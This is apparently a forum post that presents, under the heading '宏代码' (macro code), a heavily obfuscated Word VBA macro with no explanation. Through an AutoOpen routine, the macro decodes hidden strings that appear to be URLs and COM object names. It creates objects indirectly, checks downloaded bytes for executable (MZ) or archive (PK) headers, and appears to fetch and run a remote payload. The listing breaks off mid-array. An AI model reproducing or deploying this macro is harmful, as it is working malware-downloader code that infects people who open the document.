本帖最后由 python无名氏 于 2023-3-13 21:19 编辑
宏代码:- Function qjo() As String
- Dim TTasNV As String
- Dim Mq As String
- Dim S As String
- Dim T As String
- Dim GodRdbqT(6) As Long
- Dim Kd As Long
- Kd = 4
- T = "iNWQoGnzhTIBWtyDazZytjjySdGKzhePk"
- GodRdbqT(0) = 32
- GodRdbqT(1) = 17
- GodRdbqT(2) = 14
- GodRdbqT(3) = 9
- GodRdbqT(4) = 18
- GodRdbqT(5) = 7
- S = pr(T, GodRdbqT, Kd)
- Dim XnMmSpp As String
- Dim eViLHotB As String
- Dim qJE(2) As Long
- Dim rvikv As Long
- rvikv = 1
- eViLHotB = "\jLty"
- qJE(0) = 1
- qJE(1) = 1
- XnMmSpp = pr(eViLHotB, qJE, rvikv)
- TTasNV = CallByName(ActiveDocument, S, 2)
- Mq = u()
- qjo = TTasNV & XnMmSpp & Mq
- End Function
- Sub tgqU(QVpE As Object, exr As String, NoyLu As String)
- Dim dXB As String
- Dim Q As String
- Dim sBN(2) As Long
- Dim ehApA As Long
- ehApA = 1
- Q = "MwRc qZHW"
- sBN(0) = 5
- sBN(1) = 2
- dXB = pr(Q, sBN, ehApA)
- Dim H As String
- Dim g As String
- Dim gHP(14) As Long
- Dim SPp As Long
- SPp = 12
- g = "nOZDZFIaVmglaaNoeyExPEnZXYWReguVjEWfihSpeGeUxccozlQriNSItdalOZnclsaQUxNjAblKfqJn"
- gHP(0) = 39
- gHP(1) = 38
- gHP(2) = 17
- gHP(3) = 12
- gHP(4) = 12
- gHP(5) = 19
- gHP(6) = 20
- gHP(7) = 17
- gHP(8) = 46
- gHP(9) = 31
- gHP(10) = 57
- gHP(11) = 17
- gHP(12) = 11
- gHP(13) = 57
- H = pr(g, gHP, SPp)
- CallByName QVpE, H, 1, exr, dXB & NoyLu
- End Sub
- Function LPNiApw(uKMiltMb As String) As Object
- Set LPNiApw = CreateObject(uKMiltMb)
- End Function
- Sub QCSHsGFQ(SiI As String)
- Dim B As Object
- Dim Tgz As String
- Dim FVCQqdnn As String
- Dim eYPZs As String
- Dim jS(21) As Long
- Dim MKteON As Long
- MKteON = 12
- eYPZs = "PpYUctzvHTjULh.mSScPkJGeafZSRdrzLNYPyPuuRHKJxNHeVtroXUgqC3UewKsfAPHdhDGWReZKgCcegRiIRicPL2jphmIglkIG"
- jS(0) = 31
- jS(1) = 24
- jS(2) = 55
- jS(3) = 63
- jS(4) = 8
- jS(5) = 31
- jS(6) = 58
- jS(7) = 90
- jS(8) = 15
- jS(9) = 24
- jS(10) = 45
- jS(11) = 24
- jS(12) = 94
- jS(13) = 84
- jS(14) = 67
- jS(15) = 39
- jS(16) = 6
- jS(17) = 33
- jS(18) = 22
- jS(19) = 87
- jS(20) = 88
- FVCQqdnn = pr(eYPZs, jS, MKteON)
- Dim TRekaKlY As String
- Dim lGJwmxH As String
- Dim NV(9) As Long
- Dim VwAg As Long
- VwAg = 3
- lGJwmxH = "xYqRND/ kojtOghwisFsIY"
- NV(0) = 7
- NV(1) = 18
- NV(2) = 8
- NV(3) = 3
- NV(4) = 22
- NV(5) = 10
- NV(6) = 18
- NV(7) = 7
- NV(8) = 9
- TRekaKlY = pr(lGJwmxH, NV, VwAg)
- Tgz = """"
- TRekaKlY = TRekaKlY & Tgz
- TRekaKlY = TRekaKlY & SiI
- TRekaKlY = TRekaKlY & Tgz
- Set B = VTcbvVF()
- tgqU B, FVCQqdnn, TRekaKlY
- End Sub
- Sub CjT(lrea As Object, SiI As String)
- Dim KOQvuzm As String
- Dim tMbh As String
- Dim zqZA(31) As Long
- Dim Fr As Long
- Fr = 12
- tMbh = "wvXfPdrCmtOMLdDhSdMNeWYXHamxOXOlyUwmDeEeUuDAINaEyxFSpDzknrnFVPJWelclxMpkYmdPWTlMoteZFcKZRDtEaMecvZogB"
- zqZA(0) = 15
- zqZA(1) = 21
- zqZA(2) = 32
- zqZA(3) = 21
- zqZA(4) = 10
- zqZA(5) = 21
- zqZA(6) = 51
- zqZA(7) = 81
- zqZA(8) = 32
- zqZA(9) = 6
- zqZA(10) = 21
- zqZA(11) = 7
- zqZA(12) = 99
- zqZA(13) = 93
- zqZA(14) = 42
- zqZA(15) = 12
- zqZA(16) = 10
- zqZA(17) = 7
- zqZA(18) = 6
- zqZA(19) = 18
- zqZA(20) = 78
- zqZA(21) = 38
- zqZA(22) = 37
- zqZA(23) = 39
- zqZA(24) = 97
- zqZA(25) = 94
- zqZA(26) = 34
- zqZA(27) = 66
- zqZA(28) = 37
- zqZA(29) = 73
- zqZA(30) = 88
- KOQvuzm = pr(tMbh, zqZA, Fr)
- CallByName lrea, KOQvuzm, 1, SiI
- End Sub
- Function aNZKxNaj(CXWA() As Byte) As Integer
- aNZKxNaj = 0
- If UBound(CXWA) > 1 Then
- If CXWA(0) = 77 And CXWA(1) = 90 Then
- aNZKxNaj = 1
- End If
- If CXWA(0) = 80 And CXWA(1) = 75 Then
- aNZKxNaj = 2
- End If
- End If
- End Function
- Sub LBKrarO(HZRXwXl As Object, rrJkYLep As String)
- Dim Kvuu As String
- Dim ufZfxPwO As String
- Dim QI(7) As Long
- Dim E As Long
- E = 4
- ufZfxPwO = "enepXkcDOdGv"
- QI(0) = 9
- QI(1) = 4
- QI(2) = 1
- QI(3) = 2
- QI(4) = 8
- QI(5) = 11
- QI(6) = 5
- Kvuu = pr(ufZfxPwO, QI, E)
- Dim LkZ As String
- Dim aVBsHW As String
- Dim zshR(8) As Long
- Dim SREgVBU As Long
- SREgVBU = 3
- aVBsHW = "ElDeEqkTGIaHOKruKvyxuZXD"
- zshR(0) = 9
- zshR(1) = 1
- zshR(2) = 8
- zshR(3) = 15
- zshR(4) = 18
- zshR(5) = 13
- zshR(6) = 3
- zshR(7) = 13
- LkZ = pr(aVBsHW, zshR, SREgVBU)
- CallByName HZRXwXl, Kvuu, 1, LkZ, rrJkYLep, False
- End Sub
- Sub AFnjkvGv(BhSUcUN As Object)
- Dim GgyNoPp As String
- Dim npxvfjLC As String
- Dim UdEpO(5) As Long
- Dim Ar As Long
- Ar = 4
- npxvfjLC = "eTcuPuulhLXEpKPOyIKn"
- UdEpO(0) = 2
- UdEpO(1) = 17
- UdEpO(2) = 13
- UdEpO(3) = 1
- UdEpO(4) = 9
- GgyNoPp = pr(npxvfjLC, UdEpO, Ar)
- CallByName BhSUcUN, GgyNoPp, 4, 1
- End Sub
- Function u() As String
- Dim WeVkIMjh As String
- Dim I As String
- Dim vkjXD(17) As Long
- Dim YbNpXXgO As Long
- YbNpXXgO = 6
- I = "EusFmXmpNhWEYCwTfshxhtdgOThPylvSMwWhS"
- vkjXD(0) = 10
- vkjXD(1) = 10
- vkjXD(2) = 5
- vkjXD(3) = 5
- vkjXD(4) = 3
- vkjXD(5) = 3
- vkjXD(6) = 33
- vkjXD(7) = 29
- vkjXD(8) = 12
- vkjXD(9) = 25
- vkjXD(10) = 18
- vkjXD(11) = 12
- vkjXD(12) = 23
- vkjXD(13) = 28
- vkjXD(14) = 18
- vkjXD(15) = 12
- vkjXD(16) = 8
- WeVkIMjh = pr(I, vkjXD, YbNpXXgO)
- eR = Now()
- u = Format(eR, WeVkIMjh)
- End Function
- Function zHKj() As Object
- Dim a As String
- Dim lWIGbwa As String
- Dim oUQwIXw(26) As Long
- Dim evSH As Long
- evSH = 12
- lWIGbwa = "SOFsZeRsdtNsmHNMUkYJHPOOdUZDFTOthpycDppVYOYfumYZjvidL.kYrhdvBvOodHNzFaAMdabWquWFdcsXmmKqFkXaf"
- oUQwIXw(0) = 71
- oUQwIXw(1) = 28
- oUQwIXw(2) = 2
- oUQwIXw(3) = 28
- oUQwIXw(4) = 61
- oUQwIXw(5) = 54
- oUQwIXw(6) = 1
- oUQwIXw(7) = 10
- oUQwIXw(8) = 57
- oUQwIXw(9) = 6
- oUQwIXw(10) = 70
- oUQwIXw(11) = 13
- oUQwIXw(12) = 35
- oUQwIXw(13) = 35
- oUQwIXw(14) = 55
- oUQwIXw(15) = 44
- oUQwIXw(16) = 38
- oUQwIXw(17) = 1
- oUQwIXw(18) = 38
- oUQwIXw(19) = 0
- oUQwIXw(20) = 9
- oUQwIXw(21) = 65
- oUQwIXw(22) = 37
- oUQwIXw(23) = 43
- oUQwIXw(24) = 75
- oUQwIXw(25) = 75
- a = pr(lWIGbwa, oUQwIXw, evSH)
- Set zHKj = LPNiApw(a)
- End Function
- Function gIbhZ(HZRXwXl As Object) As String
- Dim IzQuGkDG As String
- Dim YvRr As String
- Dim mAvaWKD(27) As Long
- Dim HVSeJtm As Long
- HVSeJtm = 12
- YvRr = "tRGnAuXxDSCobLUiUroryxMKjVQOBZoveQMBUTEgnVEkqUkszpxedwgrsNzmGXFyqRezuJlNLKGQYQtasyspMUsvMWIkl"
- mAvaWKD(0) = 18
- mAvaWKD(1) = 33
- mAvaWKD(2) = 48
- mAvaWKD(3) = 50
- mAvaWKD(4) = 12
- mAvaWKD(5) = 4
- mAvaWKD(6) = 48
- mAvaWKD(7) = 33
- mAvaWKD(8) = 29
- mAvaWKD(9) = 12
- mAvaWKD(10) = 53
- mAvaWKD(11) = 21
- mAvaWKD(12) = 2
- mAvaWKD(13) = 21
- mAvaWKD(14) = 6
- mAvaWKD(15) = 42
- mAvaWKD(16) = 26
- mAvaWKD(17) = 84
- mAvaWKD(18) = 37
- mAvaWKD(19) = 3
- mAvaWKD(20) = 52
- mAvaWKD(21) = 72
- mAvaWKD(22) = 85
- mAvaWKD(23) = 57
- mAvaWKD(24) = 80
- mAvaWKD(25) = 40
- mAvaWKD(26) = 91
- IzQuGkDG = pr(YvRr, mAvaWKD, HVSeJtm)
- gIbhZ = CallByName(HZRXwXl, IzQuGkDG, 2)
- End Function
- Sub oblIkmg(BhSUcUN As Object)
- Dim FUtq As String
- Dim EOeFdPKu As String
- Dim FV(14) As Long
- Dim WI As Long
- WI = 5
- EOeFdPKu = "MxYLwPSIsSoICbfLBqqFRAsZdQvKkseJAoeBKwlogOdK"
- FV(0) = 13
- FV(1) = 39
- FV(2) = 11
- FV(3) = 9
- FV(4) = 31
- FV(5) = 14
- FV(6) = 5
- FV(7) = 21
- FV(8) = 36
- FV(9) = 7
- FV(10) = 2
- FV(11) = 35
- FV(12) = 38
- FV(13) = 5
- FUtq = pr(EOeFdPKu, FV, WI)
- CallByName BhSUcUN, FUtq, 1
- End Sub
- Sub tN(HZRXwXl As Object)
- Dim AeNV As String
- Dim Vytwqme As String
- Dim nLKP(5) As Long
- Dim NGZzoyBl As Long
- NGZzoyBl = 4
- Vytwqme = "bljLafISYnadaefIIF"
- nLKP(0) = 8
- nLKP(1) = 14
- nLKP(2) = 10
- nLKP(3) = 12
- nLKP(4) = 7
- AeNV = pr(Vytwqme, nLKP, NGZzoyBl)
- CallByName HZRXwXl, AeNV, 1
- End Sub
- Sub pJyZ(BhSUcUN As Object, SiI As String)
- Dim RjzlnoaY As String
- Dim IPHxmUNg As String
- Dim ig(15) As Long
- Dim IPlVU As Long
- IPlVU = 10
- IPHxmUNg = "kmKneLlaWaevReVWHkSTCTCrBfcFWvhJoATipzvgsifb"
- ig(0) = 19
- ig(1) = 8
- ig(2) = 12
- ig(3) = 5
- ig(4) = 20
- ig(5) = 33
- ig(6) = 28
- ig(7) = 36
- ig(8) = 7
- ig(9) = 5
- ig(10) = 1
- ig(11) = 23
- ig(12) = 4
- ig(13) = 9
- ig(14) = 29
- RjzlnoaY = pr(IPHxmUNg, ig, IPlVU)
- CallByName BhSUcUN, RjzlnoaY, 1, SiI, 2
- End Sub
- Function LaILj(QVpE As Object, SiI As String) As Object
- Dim oEeMt As Variant
- Dim j As String
- Dim hLQMPf As String
- Dim xJj(20) As Long
- Dim pohwIMfg As Long
- pohwIMfg = 9
- hLQMPf = "yjRgigUpJNSpncNkaXqkoptscacSkeADjBmeaM"
- xJj(0) = 10
- xJj(1) = 17
- xJj(2) = 35
- xJj(3) = 30
- xJj(4) = 24
- xJj(5) = 8
- xJj(6) = 17
- xJj(7) = 14
- xJj(8) = 30
- xJj(9) = 29
- xJj(10) = 14
- xJj(11) = 8
- xJj(12) = 1
- xJj(13) = 19
- xJj(14) = 9
- xJj(15) = 35
- xJj(16) = 8
- xJj(17) = 14
- xJj(18) = 35
- xJj(19) = 28
- j = pr(hLQMPf, xJj, pohwIMfg)
- oEeMt = CVar(SiI)
- Set LaILj = CallByName(QVpE, j, 1, oEeMt)
- End Function
- Sub TdkwXDaK(BhSUcUN As Object, zvNMkVJ() As Byte)
- Dim zijYwwOE As String
- Dim TDy As String
- Dim mpIDSa(14) As Long
- Dim hkRqOf As Long
- hkRqOf = 5
- TDy = "VSLjstsrWeeuViYbyGjBt"
- mpIDSa(0) = 9
- mpIDSa(1) = 8
- mpIDSa(2) = 14
- mpIDSa(3) = 6
- mpIDSa(4) = 10
- mpIDSa(5) = 9
- mpIDSa(6) = 11
- mpIDSa(7) = 17
- mpIDSa(8) = 6
- mpIDSa(9) = 9
- mpIDSa(10) = 10
- mpIDSa(11) = 11
- mpIDSa(12) = 9
- mpIDSa(13) = 1
- zijYwwOE = pr(TDy, mpIDSa, hkRqOf)
- CallByName BhSUcUN, zijYwwOE, 1, zvNMkVJ
- End Sub
- Function Z() As Object
- Dim ZhYAx As String
- Dim iEu As String
- Dim odjPC(27) As Long
- Dim X As Long
- X = 26
- iEu = "DEQuSQbxlCsxfflwiSLuzIWCMsjwcqcpCiFycbSosNNeEwDAPHRxE.VuLIOClurQdsQsinQZNwxpnptQigWHtBFNPOZRngtUHqUfiJgfLbYvIMCRHEAiKinPLcVFJwjeXTBOtqWGekmVkWohRxCyINGmCyRmeiHkywttOwsvrqJiGCIDneTElivIxvHcxSnxLElwRImOJegjnlVmycsRzpwinFoYbpqgfsNpJozN"
- odjPC(0) = 5
- odjPC(1) = 29
- odjPC(2) = 63
- odjPC(3) = 17
- odjPC(4) = 32
- odjPC(5) = 79
- odjPC(6) = 17
- odjPC(7) = 70
- odjPC(8) = 82
- odjPC(9) = 54
- odjPC(10) = 35
- odjPC(11) = 17
- odjPC(12) = 9
- odjPC(13) = 44
- odjPC(14) = 5
- odjPC(15) = 36
- odjPC(16) = 11
- odjPC(17) = 79
- odjPC(18) = 44
- odjPC(19) = 139
- odjPC(20) = 59
- odjPC(21) = 7
- odjPC(22) = 27
- odjPC(23) = 44
- odjPC(24) = 29
- odjPC(25) = 79
- odjPC(26) = 25
- ZhYAx = pr(iEu, odjPC, X)
- Set Z = LPNiApw(ZhYAx)
- End Function
- Sub AutoOpen()
- Dim CbZSwqt As String
- Dim VRSXo As String
- Dim WnI As String
- Dim NlbijK(97) As Long
- Dim QbRASf As Long
- QbRASf = 37
- WnI = "rCySAhaKzt/_SbKC:oiGsdEZNoXYHRthHnraW/TYrkpTqgZpbYnY.vTahcpZsNbicUeTNd/WqGIdSBRHuvqFrsutbvoeAAjDBwhSHDWCxxFNitnEHamuUAXYeAghxYRbhbdRRKEopZk/pfHchfcmheO/GtoGYHbkHCBuUWXvSZD-skmQisXklmJBptgljaozosqbbibmjJFbDpIpDKXnkucepGzfVeL9PmewepqFnYiKTWdSBmTj2aKNvYHdr"
- NlbijK(0) = 6
- NlbijK(1) = 10
- NlbijK(2) = 10
- NlbijK(3) = 43
- NlbijK(4) = 21
- NlbijK(5) = 17
- NlbijK(6) = 11
- NlbijK(7) = 11
- NlbijK(8) = 7
- NlbijK(9) = 21
- NlbijK(10) = 172
- NlbijK(11) = 7
- NlbijK(12) = 81
- NlbijK(13) = 10
- NlbijK(14) = 18
- NlbijK(15) = 53
- NlbijK(16) = 21
- NlbijK(17) = 81
- NlbijK(18) = 11
- NlbijK(19) = 67
- NlbijK(20) = 21
- NlbijK(21) = 6
- NlbijK(22) = 18
- NlbijK(23) = 43
- NlbijK(24) = 12
- NlbijK(25) = 7
- NlbijK(26) = 43
- NlbijK(27) = 43
- NlbijK(28) = 11
- NlbijK(29) = 29
- NlbijK(30) = 29
- NlbijK(31) = 245
- NlbijK(32) = 95
- NlbijK(33) = 224
- NlbijK(34) = 4
- NlbijK(35) = 29
- NlbijK(36) = 11
- NlbijK(37) = 24
- NlbijK(38) = 153
- NlbijK(39) = 227
- NlbijK(40) = 229
- NlbijK(41) = 238
- NlbijK(42) = 10
- NlbijK(43) = 232
- NlbijK(44) = 173
- NlbijK(45) = 60
- NlbijK(46) = 163
- NlbijK(47) = 28
- NlbijK(48) = 106
- NlbijK(49) = 178
- NlbijK(50) = 53
- NlbijK(51) = 46
- NlbijK(52) = 15
- NlbijK(53) = 181
- NlbijK(54) = 222
- NlbijK(55) = 48
- NlbijK(56) = 161
- NlbijK(57) = 140
- NlbijK(58) = 246
- NlbijK(59) = 47
- NlbijK(60) = 61
- NlbijK(61) = 126
- NlbijK(62) = 150
- NlbijK(63) = 244
- NlbijK(64) = 155
- NlbijK(65) = 209
- NlbijK(66) = 241
- NlbijK(67) = 139
- NlbijK(68) = 140
- NlbijK(69) = 181
- NlbijK(70) = 82
- NlbijK(71) = 41
- NlbijK(72) = 56
- NlbijK(73) = 11
- NlbijK(74) = 253
- NlbijK(75) = 114
- NlbijK(76) = 168
- NlbijK(77) = 62
- NlbijK(78) = 170
- NlbijK(79) = 166
- NlbijK(80) = 253
- NlbijK(81) = 181
- NlbijK(82) = 242
- NlbijK(83) = 11
- NlbijK(84) = 86
- NlbijK(85) = 59
- NlbijK(86) = 155
- NlbijK(87) = 183
- NlbijK(88) = 104
- NlbijK(89) = 230
- NlbijK(90) = 196
- NlbijK(91) = 110
- NlbijK(92) = 177
- NlbijK(93) = 139
- NlbijK(94) = 186
- NlbijK(95) = 250
- NlbijK(96) = 6
- VRSXo = pr(WnI, NlbijK, QbRASf)
- Dim jKE As String
- Dim qCnoq As String
- Dim wk(93) As Long
- Dim BCCpKE As Long
- BCCpKE = 38
- qCnoq = "lqrWfrNYhsalICDPzLqtabKIuVo/SiajrNGeeeoYo/SONLoaeqg5nhLJAeJtrWrWrrJK7JEPXCggQrPUeMgmrUZAvUdjbstEXOrxvJtlY0/kLX/KGQmrQlzO.SrrEDoGzOLJYDBAutQDSZMWFzOgstHbpNcEeuZmiTSROpNuRZyefy:KzWiNKssjyWseVFKCPpGaSdgGHSGDKVvrVcyHGXEjvsKvHCPOJpAcGlIHS/xxiFwxsGIEqtXtJpBfc"
- wk(0) = 9
- wk(1) = 20
- wk(2) = 20
- wk(3) = 153
- wk(4) = 175
- wk(5) = 28
- wk(6) = 28
- wk(7) = 11
- wk(8) = 3
- wk(9) = 1
- wk(10) = 36
- wk(11) = 100
- wk(12) = 121
- wk(13) = 10
- wk(14) = 25
- wk(15) = 28
- wk(16) = 10
- wk(17) = 36
- wk(18) = 3
- wk(19) = 89
- wk(20) = 30
- wk(21) = 155
- wk(22) = 36
- wk(23) = 10
- wk(24) = 28
- wk(25) = 4
- wk(26) = 29
- wk(27) = 100
- wk(28) = 56
- wk(29) = 52
- wk(30) = 106
- wk(31) = 7
- wk(32) = 153
- wk(33) = 44
- wk(34) = 89
- wk(35) = 69
- wk(36) = 4
- wk(37) = 28
- wk(38) = 111
- wk(39) = 93
- wk(40) = 207
- wk(41) = 211
- wk(42) = 170
- wk(43) = 191
- wk(44) = 128
- wk(45) = 48
- wk(46) = 167
- wk(47) = 202
- wk(48) = 43
- wk(49) = 115
- wk(50) = 78
- wk(51) = 181
- wk(52) = 39
- wk(53) = 103
- wk(54) = 90
- wk(55) = 163
- wk(56) = 244
- wk(57) = 253
- wk(58) = 164
- wk(59) = 153
- wk(60) = 80
- wk(61) = 231
- wk(62) = 151
- wk(63) = 251
- wk(64) = 188
- wk(65) = 51
- wk(66) = 171
- wk(67) = 41
- wk(68) = 218
- wk(69) = 132
- wk(70) = 81
- wk(71) = 56
- wk(72) = 208
- wk(73) = 111
- wk(74) = 30
- wk(75) = 2
- wk(76) = 245
- wk(77) = 117
- wk(78) = 59
- wk(79) = 190
- wk(80) = 93
- wk(81) = 1
- wk(82) = 178
- wk(83) = 216
- wk(84) = 103
- wk(85) = 109
- wk(86) = 199
- wk(87) = 89
- wk(88) = 99
- wk(89) = 158
- wk(90) = 76
- wk(91) = 176
- wk(92) = 146
- jKE = pr(qCnoq, wk, BCCpKE)
- Dim yYUzJZ As String
- Dim ftjFT As String
- Dim QaR(64) As Long
- Dim uTC As Long
- uTC = 34
- ftjFT = "NfuY.tbnrHUgtCAEvBiapDVnrJTeQQksUNvwAnOfddSYtHmTGxtL:eYVAbUzpeLARefKBwDFuueQrFqb/Nhpa/exLXeTVjkbzk/RgLigm/xhLBgssrRlwajqK/GbeOxcGobLatytXZNTqQPfnnpoxZNoiDLrl"
- QaR(0) = 83
- QaR(1) = 6
- QaR(2) = 6
- QaR(3) = 21
- QaR(4) = 32
- QaR(5) = 53
- QaR(6) = 81
- QaR(7) = 81
- QaR(8) = 36
- QaR(9) = 20
- QaR(10) = 8
- QaR(11) = 41
- QaR(12) = 47
- QaR(13) = 20
- QaR(14) = 32
- QaR(15) = 6
- QaR(16) = 28
- QaR(17) = 9
- QaR(18) = 5
- QaR(19) = 8
- QaR(20) = 28
- QaR(21) = 6
- QaR(22) = 81
- QaR(23) = 7
- QaR(24) = 19
- QaR(25) = 6
- QaR(26) = 9
- QaR(27) = 19
- QaR(28) = 50
- QaR(29) = 81
- QaR(30) = 72
- QaR(31) = 52
- QaR(32) = 50
- QaR(33) = 81
- QaR(34) = 122
- QaR(35) = 44
- QaR(36) = 99
- QaR(37) = 6
- QaR(38) = 117
- QaR(39) = 125
- QaR(40) = 122
- QaR(41) = 35
- QaR(42) = 111
- QaR(43) = 126
- QaR(44) = 68
- QaR(45) = 154
- QaR(46) = 107
- QaR(47) = 98
- QaR(48) = 4
- QaR(49) = 145
- QaR(50) = 9
- QaR(51) = 81
- QaR(52) = 108
- QaR(53) = 121
- QaR(54) = 78
- QaR(55) = 27
- QaR(56) = 106
- QaR(57) = 150
- QaR(58) = 144
- QaR(59) = 96
- QaR(60) = 4
- QaR(61) = 37
- QaR(62) = 7
- QaR(63) = 47
- yYUzJZ = pr(ftjFT, QaR, uTC)
- Dim DXWzKLjH As String
- Dim xLO As String
- Dim w(52) As Long
- Dim dQj As Long
- dQj = 44
- xLO = "UKziUSVOratib.CqEjXOWcftWKjizPYrGVd/poR/oywowYahnrcttuFtyjtgFfnFUxAcj/TeagXDuUKqjjtkBCHFewDJCxLjVBLIwoVCZkxaOGCpyhcjFtnXHnVvwS:sXDKwcEUUqrnNbNqwQG.yLnJOvFVyLemCofFHGAFfQJoqVMMakhGsqAtZivtAuczZBOsEsPUpetHJNjpPxzfmxtNSySECWrqORgHKYVOXtpphbqXwoRUTmYMLqs/XjdKOeMJrGjZvqzZWeQJzgpEbvpCkzKLdiDoPNYQxcNjMGgqMIGOKXbZnGOyCWbkdTZhcusGASKCfOqBGZj/LAf"
- w(0) = 48
- w(1) = 11
- w(2) = 11
- w(3) = 37
- w(4) = 127
- w(5) = 36
- w(6) = 36
- w(7) = 43
- w(8) = 43
- w(9) = 43
- w(10) = 14
- w(11) = 60
- w(12) = 10
- w(13) = 9
- w(14) = 9
- w(15) = 72
- w(16) = 11
- w(17) = 11
- w(18) = 14
- w(19) = 84
- w(20) = 3
- w(21) = 36
- w(22) = 23
- w(23) = 10
- w(24) = 16
- w(25) = 36
- w(26) = 8
- w(27) = 49
- w(28) = 72
- w(29) = 16
- w(30) = 66
- w(31) = 95
- w(32) = 49
- w(33) = 15
- w(34) = 55
- w(35) = 39
- w(36) = 60
- w(37) = 11
- w(38) = 4
- w(39) = 8
- w(40) = 19
- w(41) = 38
- w(42) = 38
- w(43) = 36
- w(44) = 260
- w(45) = 289
- w(46) = 149
- w(47) = 97
- w(48) = 337
- w(49) = 332
- w(50) = 12
- w(51) = 311
- DXWzKLjH = pr(xLO, w, dQj)
- Dim PJFGr As String
- Dim ITzmrW As String
- Dim mbhdyUmq(49) As Long
- Dim HAtmQd As Long
- HAtmQd = 45
- ITzmrW = "MwaQQxxKNNziULHsIlR1ejOrbP.NbuXDpTrJozIIwuglifXsfTdakWWePmiULZIWbIQANMddUTauNDnRVyVynDUhnhPyl/teexGCyNCSrmxSQfAWjPqmddWIElEKomwYHvWCpJVEbcrdjKnsHVdllKRPWiYKRcnKBRZindQuAwXPFqtLfiSByuFpmchdlsYeobzWrsDcRouUgFq:PlJhYExCOVZzSTKJQluncaQcrbrMViIhZgxVDf4nxUePZtjYXxM2XmoWdtPepFCnrCpyD/hpJaXfbKzplbLkKTdfSpejTxuzNlqnlVeDVkqDauPfUOTQSaPzjuhQbd/kQnuIFFePDjHXEo/VJSeZeNLihEtMzMuBt/NIZMo"
- mbhdyUmq(0) = 88
- mbhdyUmq(1) = 95
- mbhdyUmq(2) = 95
- mbhdyUmq(3) = 33
- mbhdyUmq(4) = 208
- mbhdyUmq(5) = 94
- mbhdyUmq(6) = 94
- mbhdyUmq(7) = 58
- mbhdyUmq(8) = 21
- mbhdyUmq(9) = 3
- mbhdyUmq(10) = 18
- mbhdyUmq(11) = 30
- mbhdyUmq(12) = 6
- mbhdyUmq(13) = 27
- mbhdyUmq(14) = 25
- mbhdyUmq(15) = 82
- mbhdyUmq(16) = 94
- mbhdyUmq(17) = 33
- mbhdyUmq(18) = 21
- mbhdyUmq(19) = 24
- mbhdyUmq(20) = 16
- mbhdyUmq(21) = 37
- mbhdyUmq(22) = 79
- mbhdyUmq(23) = 3
- mbhdyUmq(24) = 18
- mbhdyUmq(25) = 94
- mbhdyUmq(26) = 12
- mbhdyUmq(27) = 260
- mbhdyUmq(28) = 18
- mbhdyUmq(29) = 247
- mbhdyUmq(30) = 32
- mbhdyUmq(31) = 14
- mbhdyUmq(32) = 128
- mbhdyUmq(33) = 34
- mbhdyUmq(34) = 4
- mbhdyUmq(35) = 68
- mbhdyUmq(36) = 88
- mbhdyUmq(37) = 88
- mbhdyUmq(38) = 20
- mbhdyUmq(39) = 62
- mbhdyUmq(40) = 30
- mbhdyUmq(41) = 4
- mbhdyUmq(42) = 37
- mbhdyUmq(43) = 46
- mbhdyUmq(44) = 94
- mbhdyUmq(45) = 237
- mbhdyUmq(46) = 60
- mbhdyUmq(47) = 20
- mbhdyUmq(48) = 82
- PJFGr = pr(ITzmrW, mbhdyUmq, HAtmQd)
- Dim otuI As String
- Dim FBB As String
- Dim Gt(139) As Long
- Dim AwHbW As Long
- AwHbW = 47
- FBB = "kQrPmnzpA/cPSuhYuLmePHRyLLsyvwcUSHwcApBbvFNQpwPrQqDutYoCztViisyeynbmP:YOJCxZlfYDtlkYzasykfeaIpSxHZEeOZSggMtqLqpoNhLCN/zKSbYwGDxFPqnw/tsgYFTakVmeYXmTpjhAwOVabszOLqbSyfGKqqGESzixBUOGLH.sNodmvUANjwZUvaCpVrWbPsmLGsTenXnCsnyIfAYULTWlYJutNp/gDVcOLbdYUOCHJYBGhnlljPOMXkXyoekuQErfnYzZXOPWlkAYnBwquVPftWRz.DlGruQ/bcYScCseeZUFfVrZ"
- Gt(0) = 15
- Gt(1) = 53
- Gt(2) = 53
- Gt(3) = 8
- Gt(4) = 70
- Gt(5) = 10
- Gt(6) = 10
- Gt(7) = 6
- Gt(8) = 20
- Gt(9) = 30
- Gt(10) = 27
- Gt(11) = 183
- Gt(12) = 11
- Gt(13) = 55
- Gt(14) = 60
- Gt(15) = 6
- Gt(16) = 183
- Gt(17) = 27
- Gt(18) = 14
- Gt(19) = 10
- Gt(20) = 8
- Gt(21) = 20
- Gt(22) = 3
- Gt(23) = 27
- Gt(24) = 55
- Gt(25) = 6
- Gt(26) = 86
- Gt(27) = 77
- Gt(28) = 10
- Gt(29) = 72
- Gt(30) = 7
- Gt(31) = 27
- Gt(32) = 24
- Gt(33) = 56
- Gt(34) = 24
- Gt(35) = 51
- Gt(36) = 42
- Gt(37) = 56
- Gt(38) = 78
- Gt(39) = 9
- Gt(40) = 43
- Gt(41) = 39
- Gt(42) = 4
- Gt(43) = 43
- Gt(44) = 29
- Gt(45) = 22
- Gt(46) = 10
- Gt(47) = 296
- Gt(48) = 41
- Gt(49) = 90
- Gt(50) = 295
- Gt(51) = 155
- Gt(52) = 180
- Gt(53) = 226
- Gt(54) = 49
- Gt(55) = 261
- Gt(56) = 28
- Gt(57) = 282
- Gt(58) = 56
- Gt(59) = 36
- Gt(60) = 230
- Gt(61) = 70
- Gt(62) = 218
- Gt(63) = 170
- Gt(64) = 211
- Gt(65) = 33
- Gt(66) = 235
- Gt(67) = 5
- Gt(68) = 243
- Gt(69) = 27
- Gt(70) = 2
- Gt(71) = 109
- Gt(72) = 244
- Gt(73) = 123
- Gt(74) = 215
- Gt(75) = 69
- Gt(76) = 85
- Gt(77) = 278
- Gt(78) = 240
- Gt(79) = 220
- Gt(80) = 201
- Gt(81) = 230
- Gt(82) = 318
- Gt(83) = 172
- Gt(84) = 27
- Gt(85) = 104
- Gt(86) = 197
- Gt(87) = 319
- Gt(88) = 284
- Gt(89) = 117
- Gt(90) = 49
- Gt(91) = 256
- Gt(92) = 19
- Gt(93) = 84
- Gt(94) = 284
- Gt(95) = 120
- Gt(96) = 277
- Gt(97) = 122
- Gt(98) = 99
- Gt(99) = 139
- Gt(100) = 218
- Gt(101) = 270
- Gt(102) = 186
- Gt(103) = 106
- Gt(104) = 102
- Gt(105) = 246
- Gt(106) = 22
- Gt(107) = 243
- Gt(108) = 43
- Gt(109) = 126
- Gt(110) = 33
- Gt(111) = 218
- Gt(112) = 292
- Gt(113) = 54
- Gt(114) = 115
- Gt(115) = 205
- Gt(116) = 15
- Gt(117) = 70
- Gt(118) = 41
- Gt(119) = 133
- Gt(120) = 192
- Gt(121) = 62
- Gt(122) = 39
- Gt(123) = 235
- Gt(124) = 137
- Gt(125) = 88
- Gt(126) = 319
